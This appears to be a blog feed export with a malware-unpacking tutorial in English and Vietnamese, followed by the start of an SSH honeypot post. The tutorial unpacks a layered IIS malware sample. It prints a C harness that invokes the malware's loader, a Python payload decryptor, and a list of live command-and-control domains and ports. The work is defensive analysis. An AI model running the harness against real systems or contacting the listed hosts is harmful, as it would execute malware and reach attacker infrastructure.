</code></pre>
    <p>We have a <code class="language-plaintext highlighter-rouge">CMalware2</code> object. I try to analyze all methods of this object and I realize that <code class="language-plaintext highlighter-rouge">CMalware2</code> object is a base object. If I call <code class="language-plaintext highlighter-rouge">QueryInterface</code> with  <code class="language-plaintext highlighter-rouge">{839D7762-5121-4009-9234-4F0D19394F04}</code> , I will create a real malicious object.</p>
  </li>
</ul>

<p><img src="/assets/2019/03/vtable.PNG" alt="malware vtable" /></p>

<p>This function will decrypt <code class="language-plaintext highlighter-rouge">logo.png</code> and load another PE file to memory:</p>

<pre><code class="language-C">int main(int argc, char** argv) {
	CLSID clsid_malware;
	LPVOID   ppv = NULL;
	HMODULE h = LoadLibraryA("cachuri.dll");
	DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
	HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &amp;clsid_malware);
	hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &amp;ppv);
	printf("ppv = %p\n", ppv);
	IUnknown *pMalware = (IUnknown*)ppv;
	hr = CLSIDFromString(TEXT("{839D7762-5121-4009-9234-4F0D19394F04}"), &amp;clsid_malware);

	IMalware *malware_obj;
	hr = pMalware-&gt;QueryInterface(clsid_malware, (LPVOID*) &amp;malware_obj);
	printf("main object = %p\n", malware_obj);

	DWORD_PTR vptr = (DWORD_PTR)(*(DWORD_PTR*)malware_obj);
	printf("vtbl = %08x\n", vptr);
	DWORD_PTR ml_fn = *(DWORD_PTR*)(vptr + 3 * sizeof(DWORD_PTR));
	RUNMALWARE run = (RUNMALWARE)(ml_fn - 0x5620 + 0x10B0);
	run((void*)malware_obj); // extract malware
	return 0;
}
</code></pre>

<p><img src="/assets/2019/03/extract_malware2.PNG" alt="malware vtable" /></p>

<ul>
  <li>Malicious code will allocate a memory region via (<code class="language-plaintext highlighter-rouge">VirtualAlloc</code>)</li>
  <li>Decrypt <code class="language-plaintext highlighter-rouge">logo.png</code></li>
  <li>Fixup relocation</li>
  <li>Resolve IAT.</li>
  <li>I use <code class="language-plaintext highlighter-rouge">pe_unmapper</code> to dump malicious code to file (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper)</li>
</ul>

<p>Now, we have <code class="language-plaintext highlighter-rouge">logo.dll</code></p>

<h3 id="analyze-logodll">Analyze <code class="language-plaintext highlighter-rouge">logo.dll</code></h3>

<p>This DLL has a exported function: <code class="language-plaintext highlighter-rouge">DllEntry</code>.</p>

<p>Pseudocode:</p>

<pre><code class="language-C"> char __stdcall DllEntry(int a1, int a2, int a3, int a4)
{
  char result; // al

  SetErrorMode(0x8007u);
  result = sub_100569F0((int)sub_100031C0);
  if ( result )
  {
    result = sub_10055E20();
    if ( result )
    {
      while ( 1 )
        Sleep(0xFFFFFFFF);
    }
  }
  return result;
}
</code></pre>

<p>After analyzing, I realize that this is another PE loader:</p>
<ul>
  <li>Allocate memory and decrypt the embedded PE file.</li>
  <li>Resolve Import Address Table</li>
  <li>Execute malicious code at entry point</li>
</ul>

<p>This loader removes all important fields in PE header. We can not rebuild PE file without header. 
I use debugger to trace and find the address of entry-point and dump memory to disk. This loader allocates 0x899400 bytes for new PE file</p>

<p><img src="/assets/2019/03/logo_dump1.PNG" alt="Decrypt PE file" /></p>

<p>this loader skips 0x4E0000 bytes. I don’t know why.</p>

<p><img src="/assets/2019/03/logo_dump2.PNG" alt="Decrypt PE file" /></p>

<p><img src="/assets/2019/03/logo_dump3.PNG" alt="Decrypt PE file" /></p>

<p>As I say, all important fields are removed.</p>

<p><img src="/assets/2019/03/logo_dump4.PNG" alt="Decrypt PE file" /></p>

<p><img src="/assets/2019/03/logo_dump5.PNG" alt="Decrypt PE file" /></p>

<h4 id="rebuild">Rebuild</h4>
<p>We have: Imagebase = 0x800000 + 0x4E0000 = 0xCE0000.</p>

<p>You can consider that this PE file has only 1 section. So we create section header:</p>

<p><code class="language-plaintext highlighter-rouge">NumberOfSections = 1</code></p>

<p><img src="/assets/2019/03/logo_dump6.PNG" alt="Decrypt PE file" /></p>

<p>To resolve and fix IAT, I use Scylla : <a href="https://github.com/NtQuery/Scylla">https://github.com/NtQuery/Scylla</a></p>

<p>Scylla is a great tool. I can recover all entries in IAT. We need to use <code class="language-plaintext highlighter-rouge">Disassemble</code> function to resolve APIs if Scylla can not resolve them.</p>

<p><img src="/assets/2019/03/logo_dump7.PNG" alt="Fix IAT" /></p>

<p>Remember:</p>
<ul>
  <li>If malicious code uses <code class="language-plaintext highlighter-rouge">GetModuleHandle</code> function with NULL parameter (both Ansi and Unicode version), this function MUST return 0xCE0000.</li>
</ul>

<p><img src="/assets/2019/03/logo_dump8.PNG" alt="Fix IAT" /></p>

<p>Correct Import Address Table</p>

<p><img src="/assets/2019/03/logo_dump9.PNG" alt="Fix IAT" /></p>

<p>Finally, I rebuild and rebase this file</p>

<p><img src="/assets/2019/03/logo_dump10.PNG" alt="Fix IAT" /></p>

<p>Rebase PE file:</p>

<p><img src="/assets/2019/03/logo_dump11.PNG" alt="Fix IAT" /></p>

<p>This is the last layer.</p>

<h3 id="bonus-cc-server">Bonus: C&amp;C Server</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>cdn.arlialter.com:8888
cdn.arlialter.com:8531
var.alieras.com:8531
fbcn.enantor.com:8531
fbcn.enantor.com:8888
ww1.erabend.com:8888
var.alieras.com:8888
ww1.erabend.com:8531
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="donation">Donation</h2>
<p>If you think my article is valuable, you may donate to me so that I have the motivation to write the next article. I accept Paypal. Thank you so much! <a href="https://paypal.me/develbranch">https://paypal.me/develbranch</a></p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="malware" /><summary type="html"><![CDATA[Malware authors utilize packers to make it difficult for their malware to be reversed. In this article, I am going to show my experience with packers and manual unpacking.]]></summary></entry><entry><title type="html">Deobfuscate malware</title><link href="https://develbranch.com/tutorials/deobfuscate-apt-malware.html" rel="alternate" type="text/html" title="Deobfuscate malware" /><published>2019-03-17T17:00:00+00:00</published><updated>2019-03-17T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/deobfuscate-apt-malware</id><content type="html" xml:base="https://develbranch.com/tutorials/deobfuscate-apt-malware.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p><img src="/assets/2019/03/files.PNG" alt="Các file độc hại" /></p>

<p>Tôi tình cờ nhận được mẫu này từ một người quen, trong khi đó, người quen của tôi lại nhận được mẫu này từ một người quen khác, cứ thế,… Trong giới làm an ninh mạng ở Việt Nam hay có kiểu chia sẻ đơn giản như thế thôi. Ai cũng biết việc chia sẻ cho những người khác là cần thiết vì nó giúp cho chúng ta tự bảo vệ nhau, tự phát hiện các mối nguy hại từ bên ngoài. Nhưng ai chia sẻ xong cũng nói một câu: “Đừng bảo với ai là em gửi anh nhé!”, “Đừng share ai nữa nhé!”,…. Tôi cũng không rõ lắm họ muốn bí mật nguồn mẫu làm gì. Có lẽ không ai muốn người khác biết mình bị tấn công, sẽ ảnh hưởng đến công việc kinh doanh. Tôi tôn trọng các quyết định của người đã chia sẻ cho tôi. Tôi sẽ viết phương pháp tôi phân tích mẫu này để các bạn nếu có gặp một mẫu tương tự sẽ biết cách xử lý. Tôi không rõ mẫu mã độc này do nhóm nào viết, tuy nhiên phải khẳng định rằng phân tích không phải dễ.</p>

<p>Trong bài viết này, tôi sẽ trình bày phương pháp tôi vượt qua các lớp bảo vệ file thực thi của mã độc, phần còn lại là các hành vi của mã độc có lẽ cũng không cần thiết. Trong trường hợp các bạn muốn biết các hành vi của mẫu này, có thể đợi bài viết tiếp theo của tôi</p>

<p><em><strong>1 phút cho quảng cáo</strong>: Nếu các bạn gặp những mẫu malware tương tự, các bạn hoàn toàn có thể liên lạc với tôi qua địa chỉ contact[at]develbranch.com hoặc facebook fanpage <a href="https://fb.com/develbranch">fb.com/develbranch</a> và tôi sẽ giúp các bạn phân tích các mẫu mã độc. Tôi sẽ tính phí trong trường hợp cần thiết. Nếu thấy bài viết của tôi có giá trị, các bạn có thể chuyển khoản cho tôi một chút tiền để tôi có động lực viết các bài viết tiếp theo (hãy liên hệ với fanpage của tôi).</em></p>

<h2 id="môi-trường-thực-hiện">Môi trường thực hiện</h2>
<ul>
  <li>Máy ảo windows 7 64 bit. Các bạn có thể sử dụng windows 10.</li>
  <li>Một chương trình debugger trên windows: Tôi thích dùng <a href="https://x64dbg.com/">x64dbg</a>.</li>
  <li>Một chương trình C++ compiler trên windows: Tôi thích dùng Microsoft Visual Studio 2015. https://visualstudio.microsoft.com/</li>
  <li>CFF Explorer: <a href="https://ntcore.com/?page_id=388">Explorer Suite</a></li>
</ul>

<h2 id="phân-tích-theo-hành-vi">Phân tích theo hành vi</h2>
<p>Trong tất cả các bước phân tích mã độc chuẩn, chúng ta đều phải thực hiện phân tích theo hành vi để phần nào đoán được hành động mà mã độc sẽ thực hiện và chúng ta sẽ đưa ra phương án phân tích phù hợp. Để thực hiện việc này chúng ta cần:</p>
<ul>
  <li>File thực thi của mã độc, hoặc là một lệnh để chạy mã độc.</li>
  <li>Dựng được chính xác môi trường mà mã độc sẽ thực thi. Ví dụ: Nếu mã độc chỉ chạy trên windows server thì các bạn sẽ không bao giờ phân tích theo hành vi nếu môi trường của các bạn là windows home.</li>
</ul>

<p>Người bạn chỉ đưa tôi 4 file như trên hình, không thông tin, không mô tả gì thêm. Trong quá trình phân tích tôi cũng không có thêm một chút manh mối nào ngoại trừ đường dẫn của file. Với bấy nhiêu thông tin, chúng ta không thể thực thi được mã độc trên môi trường của mình. Do vậy sẽ không có phân tích theo hành vi. Chúng ta cần đoán theo cách của mình! Guess it your way!</p>

<h2 id="phân-tích-chi-tiết">Phân tích chi tiết</h2>
<p>Trong số 4 files nhận được, tôi nhận thấy file <code class="language-plaintext highlighter-rouge">cachuri.dll</code> có chữ kí của Microsoft. Tôi hoàn toàn bỏ qua file này</p>

<p><img src="/assets/2019/03/cachuri.PNG" alt="Chữ ký của cachuri" /></p>

<p>File này là file xử lý cache trên server windows. Đây không phải module cài đặt mặc định của IIS server:</p>

<p><img src="/assets/2019/03/cachuri2.PNG" alt="Mô tả cachuri" /></p>

<p>File <code class="language-plaintext highlighter-rouge">cachuri.dll</code> sử dụng các hàm trong <code class="language-plaintext highlighter-rouge">iisutil2.dll</code>, không có chữ ký hợp lệ
<img src="/assets/2019/03/cachuri3.PNG" alt="Các file độc hại" /></p>

<p>Hai file còn lại hoàn toàn không phải file thực thi. Do đó chúng ta có thể đoán: <code class="language-plaintext highlighter-rouge">cachuri.dll</code> sẽ được một module nào đó của IIS server(inetsrv) load lên. Sau khi load <code class="language-plaintext highlighter-rouge">cachuri.dll</code>, <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> độc hại cũng được load vào bộ nhớ của tiến trình. <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> có thể sẽ sử dụng tiếp 2 file còn lại cho mục đích nào đó. Đến bước này, chúng ta vẫn chưa chạy mẫu mà hoàn toàn chỉ là đoán. Guess it your way!</p>

<h3 id="thực-hiện-phân-tích-iisutil2dll">Thực hiện phân tích <code class="language-plaintext highlighter-rouge">iisutil2.dll</code></h3>
<p><img src="/assets/2019/03/iisutil2_ida.png" alt="mở iisutil2.dll trong IDA pro" /></p>

<p>File này bị obfuscate khá kĩ và gây khó khăn nhiều trong quá trình phân tích. Tuy nhiên, sau khi phân tích code, tôi nhận ra luồng thực thi chính của chương trình như sau:</p>

<p>Lấy địa chỉ các hàm: <code class="language-plaintext highlighter-rouge">CreateFileW</code>, <code class="language-plaintext highlighter-rouge">ReadFile</code>, <code class="language-plaintext highlighter-rouge">RtlDecompressBuffer</code>
<img src="/assets/2019/03/readfile.PNG" alt="Lấy địa chỉ các hàm" /></p>

<p>Mở file <code class="language-plaintext highlighter-rouge">iisexpressshim.sdb</code> và Đọc toàn bộ nội dung của file.
<img src="/assets/2019/03/readfile2.PNG" alt="Đọc nội dung file" /></p>

<p>Giải mã bằng thuật toán xor đơn giản
<img src="/assets/2019/03/readfile3.PNG" alt="Giải mã dữ liệu" /></p>

<p><img src="/assets/2019/03/readfile4.PNG" alt="Giải mã dữ liệu" /></p>

<p>Trong đoạn dữ liệu sau khi giải mã, sẽ có cấu trúc như sau:</p>
<ul>
  <li>4 byte đầu: Kích thước dữ liệu trước khi nén</li>
  <li>Toàn bộ khối dữ liệu đã nén</li>
</ul>

<p><img src="/assets/2019/03/readfile5.PNG" alt="Giải mã dữ liệu" /></p>

<p>Sau đó, chương trình sẽ giải nén toàn bộ nội dung của file bằng hàm <code class="language-plaintext highlighter-rouge">RtlDecompressBuffer</code>. Đến đây, ta đã unpack được lớp thứ nhất.</p>

<p>Chúng ta có thể mô tả toàn bộ quá trình này thông qua đoạn code python sau. Rất may là có 1 phiên bản giải nén lznt1 được implement hoàn toàn bằng python(https://twitter.com/nullandnull/status/772989022079586304) của Google. Thật quá tốt: https://github.com/google/rekall/blob/e57446eb8ecbcf5019c1a978f469955a5078c829/rekall-core/rekall/plugins/filesystems/lznt1.py</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="s">'''Giải mã file iisexpressshim.sdb'''</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">lznt1</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span>
	<span class="n">out</span> <span class="o">=</span> <span class="s">''</span>
	<span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
	<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">buf</span><span class="p">:</span>
		<span class="n">out</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">index</span> <span class="o">%</span> <span class="mh">0xff</span><span class="p">))</span>
		<span class="n">index</span> <span class="o">+=</span> <span class="mi">1</span>
	<span class="k">return</span> <span class="n">out</span>

<span class="n">cdata</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="s">'.decrypted'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">lznt1</span><span class="p">.</span><span class="n">decompress_data</span><span class="p">(</span><span class="n">cdata</span><span class="p">[</span><span class="mi">4</span><span class="p">:]))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Kết quả giải mã
<img src="/assets/2019/03/readfile6.PNG" alt="Giải mã dữ liệu" /></p>

<p>File PE này không lỗi, mặc dù VirtualSize, RawSize và RawAddress đều bằng 0 . Chỉ đơn giản, file này cần được load theo một cách khác. Tôi đọc thuật toán trong loader của chương trình và nhận ra: Chúng ta có thể tính toán các giá trị VirtualSize, RawSize và RawAddress hoàn toàn chỉ cần dựa vào VirtualAddress.</p>
<ul>
  <li>VirtualSize = RawSize = (VirtualAddress của section sau - VirtualAddress của section trước)</li>
  <li>RawAddress = VirtualAddress</li>
</ul>

<p>Sau khi fix lại code, file PE hoàn toàn đủ tiêu chuẩn để load vào IDA và đọc. Hoạt động của file này như sau:</p>
<ul>
  <li>Tại DllMain, lấy image base của <code class="language-plaintext highlighter-rouge">cachuri.dll</code></li>
  <li>Thay bảng export của <code class="language-plaintext highlighter-rouge">cachuri.dll</code> thành bảng export của mã độc.</li>
</ul>

<p>Kĩ thuật này có ưu điểm:</p>
<ul>
  <li>Có thể coi đây là một kĩ thuật nhằm thay thế file <code class="language-plaintext highlighter-rouge">cachuri.dll</code> bằng một file độc. Các hành vi độc hại nếu xuất hiện sẽ xuất hiện từ tiến trình của Inetsrv, chính xác hơn là bên trong <code class="language-plaintext highlighter-rouge">cachuri.dll</code>. Tuy nhiên, nếu chỉ quét trên đĩa bằng các antivirus thông thường thì hoàn toàn không thể phát hiện được. <code class="language-plaintext highlighter-rouge">cachuri.dll</code> vẫn có chữ kí bình thường của Microsoft.</li>
  <li>Một số chương trình EDR khi phát hiện hành vi độc hại sẽ gửi các file của tiến trình liên quan (file thực thi, DLL liên quan) về máy chủ để phân tích. Bằng cách này, người viết malware hoàn toàn tránh được các EDR.</li>
</ul>

<p>Tôi tiếp tục debug nhưng có vẻ không thành công, vì chúng ta không có actor để trigger mã độc.</p>

<h3 id="thực-hiện-phân-tích-iisexpressshimsdb">Thực hiện phân tích <code class="language-plaintext highlighter-rouge">iisexpressshim.sdb</code></h3>
<p>Tôi thử phân tích hoàn toàn bằng IDA và không sử dụng trình debugger.
Khi phân tích hàm <code class="language-plaintext highlighter-rouge">DllGetClassObject</code>, tôi nhận thấy malware sử dụng tên của thư mục chứa nó như một CLSID. Trong code của chương trình cần query class có clsid này để lấy về đối tượng xử lý tương ứng.
<img src="/assets/2019/03/clsid.PNG" alt="malware CLSID" /></p>

<p>Do đó, để có thể tạo một đối tượng thực thi độc hại, chúng ta cần tạo một tên thư mục với clsid bất kì và sử dụng nó. Các bước cụ thể như sau:</p>
<ul>
  <li>Tạo một thư mục có tên là <code class="language-plaintext highlighter-rouge">{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}</code>. Giá trị này tôi lấy ngẫu nhiên.</li>
  <li>Sử dụng đoạn code dưới đây để tạo object.
    <pre><code class="language-C"> CLSID    clsid_malware;
 LPVOID   ppv = NULL;
 HMODULE h = LoadLibraryA("cachuri.dll");
 DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
 HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &amp;clsid_malware);
 hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &amp;ppv);
 printf("ppv = %p\n", ppv);
</code></pre>
    <p>Sau đoạn code này, chúng ta có đối tượng, tạm gọi là <code class="language-plaintext highlighter-rouge">CMalware2</code> của mã độc. Tiếp tục phân tích các method của đối tượng này, tôi nhận thấy <code class="language-plaintext highlighter-rouge">CMalware2</code> chỉ là object cơ sở, không implement một chức năng nào. Tôi thử phân tích hàm QueryInterface thì nhận ra nếu query với CLSID <code class="language-plaintext highlighter-rouge">{839D7762-5121-4009-9234-4F0D19394F04}</code> sẽ nhận được object <code class="language-plaintext highlighter-rouge">CMalware1</code> của mã độc.</p>
  </li>
</ul>

<p><img src="/assets/2019/03/vtable.PNG" alt="malware vtable" /></p>

<p>Tiếp tục phân tích, tôi phát hiện ra hàm làm việc chính của malware: hàm này có tác dụng load một file PE khác nằm trong <code class="language-plaintext highlighter-rouge">logo.png</code> và thực thi nó trên bộ nhớ. Để trigger tới chỗ này, tôi viết đoạn mã sau:</p>

<pre><code class="language-C">int main(int argc, char** argv) {
	CLSID clsid_malware;
	LPVOID   ppv = NULL;
	HMODULE h = LoadLibraryA("cachuri.dll");
	DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
	HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &amp;clsid_malware);
	hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &amp;ppv);
	printf("ppv = %p\n", ppv);
	IUnknown *pMalware = (IUnknown*)ppv;
	hr = CLSIDFromString(TEXT("{839D7762-5121-4009-9234-4F0D19394F04}"), &amp;clsid_malware);

	IMalware *malware_obj;
	hr = pMalware-&gt;QueryInterface(clsid_malware, (LPVOID*) &amp;malware_obj);
	printf("main object = %p\n", malware_obj);

	DWORD_PTR vptr = (DWORD_PTR)(*(DWORD_PTR*)malware_obj);
	printf("vtbl = %08x\n", vptr);
	DWORD_PTR ml_fn = *(DWORD_PTR*)(vptr + 3 * sizeof(DWORD_PTR));
	RUNMALWARE run = (RUNMALWARE)(ml_fn - 0x5620 + 0x10B0);
	run((void*)malware_obj); // extract malware
	return 0;
}
</code></pre>

<p><img src="/assets/2019/03/extract_malware2.PNG" alt="malware vtable" /></p>

<p>Để đơn giản quá trình, chúng ta sẽ để cho malware thực thi nốt phần còn lại của nó:</p>
<ul>
  <li>Cấp phát bộ nhớ cho malware (<code class="language-plaintext highlighter-rouge">VirtualAlloc</code>)</li>
  <li>Giải mã toàn bộ malware lên memory</li>
  <li>Fixup relocation</li>
  <li>Resolve IAT. Chúng ta sẽ đặt breakpoint tại hàm <code class="language-plaintext highlighter-rouge">GetProcAddress</code> để dừng thực thi trong khi malware được resolve các hàm API</li>
  <li>Dump vùng mem trên ra bộ nhớ, và vì file này đã được mapping trên memory và có thay đổi, nên sử dụng cộng cụ <code class="language-plaintext highlighter-rouge">pe_unmapper</code> của hasherezade (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper)</li>
</ul>

<p>Dump file nhận được ra đĩa, chúng ta tạm gọi là logo.dll</p>

<h3 id="phân-tích-logodll">Phân tích <code class="language-plaintext highlighter-rouge">logo.dll</code></h3>

<p>DLL này khá đơn giản với một hàm <code class="language-plaintext highlighter-rouge">DllEntry</code>. Chúng ta có thể coi đây là entrypoint của chương trình (Phân biệt với entrypoint của file).</p>

<p>Đây là mã giả của <code class="language-plaintext highlighter-rouge">DllEntry</code>:</p>

<pre><code class="language-C"> char __stdcall DllEntry(int a1, int a2, int a3, int a4)
{
  char result; // al

  SetErrorMode(0x8007u);
  result = sub_100569F0((int)sub_100031C0);
  if ( result )
  {
    result = sub_10055E20();
    if ( result )
    {
      while ( 1 )
        Sleep(0xFFFFFFFF);
    }
  }
  return result;
}
</code></pre>

<p>Sau khi phân tích, tôi nhận ra đây lại là một PE loader khác. Nhiệm vụ của đoạn code này như sau:</p>
<ul>
  <li>Cấp phát và Giải mã một file PE được nhúng trong chương trình vào một vùng nhớ</li>
  <li>Resolve các địa chỉ API sẽ được sử dụng</li>
  <li>Thực thi entrypoint của file PE</li>
</ul>

<p>Quá trình cấp phát và giải mã file thực thi cũng giống như các loader bình thường, tuy nhiên khi resolve địa chỉ các API, loader này đã bỏ đi tất cả các trường quan trọng trong file PE. Chúng ta không có header của file PE để có thể dump file xuống đĩa và phân tích như mọi khi. Chúng ta sẽ làm gì khi không có header??</p>

<p>Như thường lệ, khi đến được entrypoint của chương trình, tôi dùng x64dbg để dump memory xuống bộ nhớ. Có một lưu ý rằng mẫu này cấp phát tới 0x899400 bytes cho file PE mới. Lưu ý, trong bài viết của tôi, vùng nhớ được cấp phát là <code class="language-plaintext highlighter-rouge">0x800000</code>.</p>

<p><img src="/assets/2019/03/logo_dump1.PNG" alt="Giải mã dữ liệu" /></p>

<p>Khi phân tích kĩ một chút, chúng ta nhận thấy loader bỏ qua 0x4E0000 bytes đầu tiên của vùng nhớ này (Chả hiểu để làm gì?).</p>

<p><img src="/assets/2019/03/logo_dump2.PNG" alt="Giải mã dữ liệu" /></p>

<p><img src="/assets/2019/03/logo_dump3.PNG" alt="Giải mã dữ liệu" /></p>

<p>Như tôi đã nói, các trường quan trọng bị xóa hết thông tin, chúng ta không có đủ thông tin để khôi phục file này.</p>

<p><img src="/assets/2019/03/logo_dump4.PNG" alt="Giải mã dữ liệu" /></p>

<p><img src="/assets/2019/03/logo_dump5.PNG" alt="Giải mã dữ liệu" /></p>

<h4 id="rebuild-lại-file">Rebuild lại file</h4>
<p>Chúng ta có 1 thông tin duy nhất: Imagebase = 0x800000 + 0x4E0000 = 0xCE0000.</p>

<p>Nếu để ý 1 chút, chúng ta có thể coi toàn bộ file PE này là 1 section. Do đó chúng ta có thể tạo một section cho file PE này như sau.</p>

<p><code class="language-plaintext highlighter-rouge">NumberOfSections = 1</code></p>

<p><img src="/assets/2019/03/logo_dump6.PNG" alt="Giải mã dữ liệu" /></p>

<p>Bước tiếp theo là fix bảng IAT, tôi sử dụng Scylla : https://github.com/NtQuery/Scylla</p>

<p>Sau khi điền đúng OEP tôi tìm thấy, Scylla lấy lại gần như toàn bộ bảng IAT của mã độc. Có 1 số hàm mà Scylla không resolve được, chúng ta cần fix lại cẩn thận bằng tay bằng chức năng <code class="language-plaintext highlighter-rouge">Disassemble</code> của Scylla.</p>

<p><img src="/assets/2019/03/logo_dump7.PNG" alt="Fix IAT" /></p>

<p>Có một lưu ý nhỏ: Các malware sử dụng PE Loader sẽ có 1 số ảnh hưởng như sau:</p>
<ul>
  <li>Nếu malware sử dụng các hàm dạng <code class="language-plaintext highlighter-rouge">GetModuleHandle</code> với tham số NULL (cả 2 version Ansi và Unicode) đều bị lỗi do hàm này trả về module handle của file ban đầu, không phải file mới được load.</li>
  <li>Handle của file mới được load sẽ không được hệ thống quản lý.</li>
</ul>

<p>Do đó, malware sẽ phải tự viết hàm <code class="language-plaintext highlighter-rouge">GetModuleHandle</code> và điền vào bảng IAT. Chúng ta có thể nhìn thấy rõ đoạn kiểm tra: Nếu tham số đầu vào là NULL, hàm sẽ trả về địa chỉ 0xCE0000, chính là imagebase của chúng ta.</p>

<p><img src="/assets/2019/03/logo_dump8.PNG" alt="Fix IAT" /></p>

<p>Sau khi resolve được đầy đủ các API</p>

<p><img src="/assets/2019/03/logo_dump9.PNG" alt="Fix IAT" /></p>

<p>Cuối cùng, chúng ta fix lại vào file đã dump ra ban đầu. Lưu ý là Scylla không cho chúng ta sửa imagebase, do đó chúng ta sẽ phải sửa lại các địa chỉ RVA cho hợp lý.</p>

<p><img src="/assets/2019/03/logo_dump10.PNG" alt="Fix IAT" /></p>

<p>Do imagebase không chuẩn nên phải chỉnh lại:</p>

<p><img src="/assets/2019/03/logo_dump11.PNG" alt="Fix IAT" /></p>

<p>Đây là lớp cuối trong toàn bộ các lớp mã hóa nhằm bảo vệ file.</p>

<h3 id="bonus-cc-server">Bonus: C&amp;C Server</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>cdn.arlialter.com:8888
cdn.arlialter.com:8531
var.alieras.com:8531
fbcn.enantor.com:8531
fbcn.enantor.com:8888
ww1.erabend.com:8888
var.alieras.com:8888
ww1.erabend.com:8531
</pre></td></tr></tbody></table></code></pre></div></div>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="malware" /><summary type="html"><![CDATA[Các dòng malware hiện nay rất ít khi dùng các packer phổ biến, thay vào đó là các packer tự phát triển nhằm tránh sự phát hiện của các phần mềm bảo vệ máy tính người dùng. Bài viết mô tả một cách làm để unpack các mẫu mã độc hại bị mã hóa nhiều lớp. Chi tiết về các hành vi của malware sẽ được mô tả trong một bài viết khác.]]></summary></entry><entry><title type="html">Lightweight SSH Honeypot (part 2)</title><link href="https://develbranch.com/tutorials/lightweight-ssh-honeypot-2.html" rel="alternate" type="text/html" title="Lightweight SSH Honeypot (part 2)" /><published>2018-05-23T17:00:00+00:00</published><updated>2018-05-23T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/lightweight-ssh-honeypot-2</id><content type="html" xml:base="https://develbranch.com/tutorials/lightweight-ssh-honeypot-2.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Trong bài viết trước <a href="https://develbranch.com/tutorials/lightweight-ssh-honeypot.html">Lightweight SSH Honeypot</a>, tôi đã mô tả về một dự án cho phép tôi xác định các máy tính đang bruteforce dịch vụ SSH trên thế giới. Tuy nhiên, có một số bạn đã inbox cho fanpage của tôi và mong muốn tôi viết rõ hơn, chi tiết hơn về các thứ mà tôi đã làm. Bài viết này tôi sẽ mô tả cụ thể phương pháp tôi đã làm cũng như đưa các đoạn chương trình tôi thực hiện để có thể hoạt động được.</p>

<h2 id="phát-hiện-những-ip-đang-thực-hiện-bruteforce">Phát hiện những IP đang thực hiện bruteforce</h2>
<h3 id="sử-dụng-phương-pháp-kiểm-tra-các-kết-nối-đang-mở-bằng-netstat">Sử dụng phương pháp kiểm tra các kết nối đang mở bằng netstat</h3>
<p><em>netstat</em> là một tiện ích của linux cho phép chúng ta liệt kê tất cả các thông tin liên quan tới các kết nối tới máy tính. Chúng ta có thể kiểm tra các kết nối đang bruteforce tới máy tính bằng lệnh:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>netstat -nat |  grep -v LISTEN | grep ":22"
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Lệnh này sẽ liệt kê tất cả các kết nối TCP, lọc ra các kết nối tới cổng 22 (cổng mặc định của dịch vụ SSH). Do các máy bruteforce thường chỉ kết nối tới cổng mặc định nên các thao tác này đã khá đủ.</p>

<h3 id="sử-dụng-phương-pháp-kiểm-tra-log-authlog">Sử dụng phương pháp kiểm tra log auth.log</h3>
